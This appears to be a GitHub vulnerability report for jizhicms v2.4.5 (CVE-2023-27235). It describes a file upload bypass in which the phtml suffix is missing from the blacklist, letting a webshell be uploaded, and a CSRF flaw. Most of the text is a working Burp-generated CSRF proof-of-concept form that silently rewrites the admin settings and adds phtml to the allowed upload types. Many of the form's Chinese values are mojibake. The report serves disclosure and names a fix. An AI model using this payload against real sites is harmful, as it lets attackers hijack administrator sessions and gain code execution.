Headline
CVE-2023-27235: jizhicms v2.4.5 has a file upload vulnerability and a CSRF vulnerability · Issue #85 · Cherry-toto/jizhicms
An arbitrary file upload vulnerability in the \admin\c\CommonController.php component of Jizhicms v2.4.5 allows attackers to execute arbitrary code via a crafted phtml file.
The file upload vulnerability file address:
\app\admin\c\CommonController.php
It can be seen that uploads uses the blacklist and whitelist verification method for the suffix of uploaded files, but the blacklist lacks the restriction on the suffix phtml, which causes the file upload suffix to be bypassed
For users who have logged in to the background, you can add a phtml to the file suffix in the whitelist, and then you can upload a sentence of the suffix phtml Trojan Horse
Visible file uploaded successfully and returned to the upload path
Repair method:Blacklist phtml files
The CSRF vulnerability ：
After the administrator logged in, open the following page phtml will be included in the white list, and other configuration items can also be modified
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost:63342/jizhicms/index.php/admins/Sys/index.html" method="POST">
<input type="hidden" name="web_name" value="�ž�‡´CMS�»��«™�³»�»Ÿ" />
<input type="hidden" name="web_keyword" value="�ž�‡´�»��«™,cms,�¼€�cms,�…�´¹cms,cms�³»�»Ÿ,phpcms,�…�´¹�¼�¸š�»��«™,�»��«™�³»�»Ÿ,�¼�¸šcms,jizhicms,�ž�‡´cms,�»��«™cms,�»��«™�³»�»Ÿ,�ž�‡´�š�®¢,�ž�‡´blog,�†…�®¹�®¡�†�³»�»Ÿ" />
<input type="hidden" name="web_desc" value="�ž�‡´CMS�˜¯�¼€��…�´¹�š„PHPCMS�½‘�«™�†…�®¹�®¡�†�³»�»Ÿ�¼Œ�— �•†�¸š�Žˆ�ƒ�¼Œ�®€�•�˜“�”¨�¼Œ��¾›�¸°�¯Œ�š„�’�»¶�¼Œ�¸®�‚¨�®ž�Ž°�›¶�Ÿ��¡€�­�»��¸�Œ�±»�ž‹�½‘�«™�¼ˆ�¼�¸š�«™�¼Œ�—¨�ˆ·�«™�¼Œ�¸�人�š�®¢�«™�­‰�¼‰�¼Œ�˜¯�‚¨�»��«™�š„�¥½�¸®�‰‹�€‚�ž�€Ÿ�»��«™�¼Œ�°±�€‰�ž�‡´CMS�€‚" />
<input type="hidden" name="web_copyright" value="@2020-2099" />
<input type="hidden" name="web_beian" value="�†€ICP�¤‡88888�·" />
<input type="hidden" name="web_tel" value="0666-8888888" />
<input type="hidden" name="web_tel_400" value="400-0000-000" />
<input type="hidden" name="web_qq" value="12345678" />
<input type="hidden" name="web_email" value="123456@qq.com" />
<input type="hidden" name="web_address" value="�²³�Œ—�œ�»Š�Š�¸‚�¹¿�˜³�Œ�xxx�¤§�Ž¦xx�¥¼001�·" />
<input type="hidden" name="web_logo" value="/static/cms/static/images/logo.png" />
<input type="hidden" name="file" value="" />
<input type="hidden" name="domain" value="" />
<input type="hidden" name="mingan" value="" />
<input type="hidden" name="closeweb" value="0" />
<input type="hidden" name="closetip" value="�Š±�­‰�¼�¯¥�«™�‚¹�·²�»�¢«�®¡�†�‘˜�œ�­¢�¿�¡Œ�¼Œ�¯·�”�³»�®¡�†�‘˜�†�§£�¯¦�ƒ…�¼" />
<input type="hidden" name="web_phone" value="0" />
<input type="hidden" name="web_weixin" value="" />
<input type="hidden" name="pc_template" value="cms" />
<input type="hidden" name="wap_template" value="cms" />
<input type="hidden" name="weixin_template" value="cms" />
<input type="hidden" name="iswap" value="1" />
<input type="hidden" name="isopenhomeupload" value="1" />
<input type="hidden" name="isopenhomepower" value="0" />
<input type="hidden" name="cache_time" value="0" />
<input type="hidden" name="fileSize" value="0" />
<input type="hidden" name="fileType" value="pdf|jpg|jpeg|png|zip|rar|gzip|doc|docx|xlsx|phtml" />
<input type="hidden" name="ueditor_config" value=""fullscreen", "source","undo", "redo","bold", "italic", "underline", "fontborder", "strikethrough", "super", "removeformat", "formatmatch", "autotypeset", "blockquote", "pasteplain","forecolor", "backcolor", "insertorderedlist", "insertunorderedlist", "selectall", "cleardoc","rowspacingtop", "rowspacingbottom", "lineheight","customstyle", "paragraph", "fontfamily", "fontsize","directionalityltr", "directionalityrtl", "indent","justifyleft", "justifycenter", "justifyright", "justifyjustify","touppercase", "tolowercase","link", "unlink", "anchor", "imagenone", "imageleft", "imageright", "imagecenter","simpleupload", "insertimage", "emotion", "scrawl", "insertvideo", "music", "attachment", "map", "gmap", "insertframe", "insertcode", "webapp", "pagebreak","template", "background","horizontal", "date", "time", "spechars", "snapscreen", "wordimage","inserttable", "deletetable", "insertparagraphbeforetable", "insertrow", "deleterow", "insertcol", "deletecol", "mergecells", "mergeright", "mergedown", "splittocells", "splittorows", "splittocols", "charts","print", "preview", "searchreplace", "help", "drafts"" />
<input type="hidden" name="ueditor_user_config" value=""undo", "redo", "|","paragraph","bold","forecolor","fontfamily","fontsize", "italic", "blockquote", "insertparagraph", "justifyleft", "justifycenter", "justifyright","justifyjustify","|","indent", "insertorderedlist", "insertunorderedlist","|", "insertimage", "inserttable", "deletetable", "insertparagraphbeforetable", "insertrow", "deleterow", "insertcol", "deletecol","mergecells", "mergeright", "mergedown", "splittocells", "splittorows", "splittocols", "|","drafts", "|","fullscreen"" />
<input type="hidden" name="classtypemaxlevel" value="0" />
<input type="hidden" name="onlyuserupload" value="1" />
<input type="hidden" name="imagequlity" value="75" />
<input type="hidden" name="ispngcompress" value="0" />
<input type="hidden" name="admintpl" value="default" />
<input type="hidden" name="islevelurl" value="0" />
<input type="hidden" name="iscachepage" value="1" />
<input type="hidden" name="isautohtml" value="0" />
<input type="hidden" name="pc_html" value="/" />
<input type="hidden" name="mobile_html" value="m" />
<input type="hidden" name="autocheckmessage" value="0" />
<input type="hidden" name="autocheckcomment" value="1" />
<input type="hidden" name="iswatermark" value="0" />
<input type="hidden" name="watermark_file" value="" />
<input type="hidden" name="watermark_t" value="9" />
<input type="hidden" name="watermark_tm" value="0" />
<input type="hidden" name="admin_save_path" value="static/upload/{yyyy}/{mm}/{dd}" />
<input type="hidden" name="home_save_path" value="static/upload/{yyyy}/{mm}/{dd}" />
<input type="hidden" name="isajax" value="0" />
<input type="hidden" name="isregister" value="1" />
<input type="hidden" name="onlyinvite" value="0" />
<input type="hidden" name="release_table" value="article|product" />
<input type="hidden" name="closehomevercode" value="0" />
<input type="hidden" name="closeadminvercode" value="0" />
<input type="hidden" name="tag_table" value="article|product" />
<input type="hidden" name="isdebug" value="1" />
<input type="hidden" name="closesession" value="0" />
<input type="hidden" name="messageyzm" value="1" />
<input type="hidden" name="homerelease" value="1" />
<input type="hidden" name="hideclasspath" value="0" />
<input type="hidden" name="hidetitleonliy" value="article-title|product-title" />
<input type="hidden" name="cachefilenum" value="100" />
<input type="hidden" name="search_table" value="article|product" />
<input type="hidden" name="search_words" value="title" />
<input type="hidden" name="search_words_muti" value="title" />
<input type="hidden" name="search_table_muti" value="article|product" />
<input type="hidden" name="search_fields_muti" value="id,tid,litpic,title,tags,keywords,molds,htmlurl,description,addtime,userid,member_id,hits,ownurl,target" />
<input type="hidden" name="email_server" value="smtp.163.com" />
<input type="hidden" name="email_port" value="465" />
<input type="hidden" name="shou_email" value="" />
<input type="hidden" name="send_email" value="" />
<input type="hidden" name="send_pass" value="" />
<input type="hidden" name="send_name" value="�ž�‡´�»��«™�³»�»Ÿ" />
<input type="hidden" name="tj_msg" value="�°Š�•¬�š„{xxx}�¼Œ�ˆ‘�»¬�·²�»�”¶�ˆ°�‚¨�š„�®¢�•�¼�¯·�•™�„�‚¨�š„�”��­�‚®�»¶�»¥�Ž·�¾—�œ€�–°�¶ˆ�¯�¼Œ�°¢�°¢�‚¨�¼" />
<input type="hidden" name="send_msg" value="�°Š�•¬�š„{xxx}�¼Œ�ˆ‘�»¬�·²�¡®�®¤�†�‚¨�š„�®¢�•�¼Œ�¯·�Ž3�—¥�†…�±‡�¬¾�¼Œ�€¾�œŸ�•�¸�¿�•™�¼Œ�¸�¾¿�¯·�§�°…�€‚�±‡�¬¾�®Œ�ˆ�Ž�¼Œ�ƒ¦�¯·�‘Š�Ÿ¥�®¢�œ人�‘˜�‚¨�š„�¤�˜“�´¦�·�Ž�”�½�¼Œ�³�®Œ�ˆ�¸‹�•�‰‹�»­�¼Œ�°¢�°¢�‚¨�€‚" />
<input type="hidden" name="yunfei" value="0.00" />
<input type="hidden" name="overtime" value="4" />
<input type="hidden" name="isopenemail" value="1" />
<input type="hidden" name="paytype" value="0" />
<input type="hidden" name="alipay_partner" value="" />
<input type="hidden" name="alipay_key" value="" />
<input type="hidden" name="alipay_private_key" value="" />
<input type="hidden" name="alipay_public_key" value="" />
<input type="hidden" name="wx_mchid" value="" />
<input type="hidden" name="wx_key" value="" />
<input type="hidden" name="wx_appid" value="" />
<input type="hidden" name="wx_appsecret" value="" />
<input type="hidden" name="wx_client_cert" value="" />
<input type="hidden" name="wx_client_key" value="" />
<input type="hidden" name="wx_token" value="" />
<input type="hidden" name="money_exchange" value="1" />
<input type="hidden" name="jifen_exchange" value="100" />
<input type="hidden" name="isopenjifen" value="1" />
<input type="hidden" name="isopenqianbao" value="1" />
<input type="hidden" name="isopenweixin" value="1" />
<input type="hidden" name="isopenzfb" value="1" />
<input type="hidden" name="isopendmf" value="1" />
<input type="hidden" name="wx_login_appid" value="" />
<input type="hidden" name="wx_login_appsecret" value="" />
<input type="hidden" name="wx_login_token" value="" />
<input type="hidden" name="huanying" value="�¬¢�¿Ž�…³�³¨�…¬�¼—�·~" />
<input type="hidden" name="login_award" value="1" />
<input type="hidden" name="login_award_open" value="1" />
<input type="hidden" name="release_award_open" value="1" />
<input type="hidden" name="release_award" value="1" />
<input type="hidden" name="release_max_award" value="0" />
<input type="hidden" name="collect_award_open" value="1" />
<input type="hidden" name="collect_award" value="1" />
<input type="hidden" name="collect_max_award" value="1000" />
<input type="hidden" name="likes_award_open" value="1" />
<input type="hidden" name="likes_award" value="1" />
<input type="hidden" name="likes_max_award" value="1000" />
<input type="hidden" name="comment_award_open" value="1" />
<input type="hidden" name="comment_award" value="1" />
<input type="hidden" name="comment_max_award" value="1000" />
<input type="hidden" name="follow_award_open" value="1" />
<input type="hidden" name="follow_award" value="1" />
<input type="hidden" name="follow_max_award" value="1000" />
<input type="hidden" name="invite_award_open" value="0" />
<input type="hidden" name="invite_type" value="jifen" />
<input type="hidden" name="invite_award" value="0" />
<input type="hidden" name="custom_type" value="0" />
<input type="hidden" name="custom_title" value="" />
<input type="hidden" name="custom_fields" value="" />
<input type="hidden" name="custom_ctype" value="1" />
<input type="hidden" name="custom_tips" value="" />
<input type="hidden" name="custom_config" value="" />
<input type="hidden" name="custom_new_title" value="" />
<input type="hidden" name="custom_new_fields" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>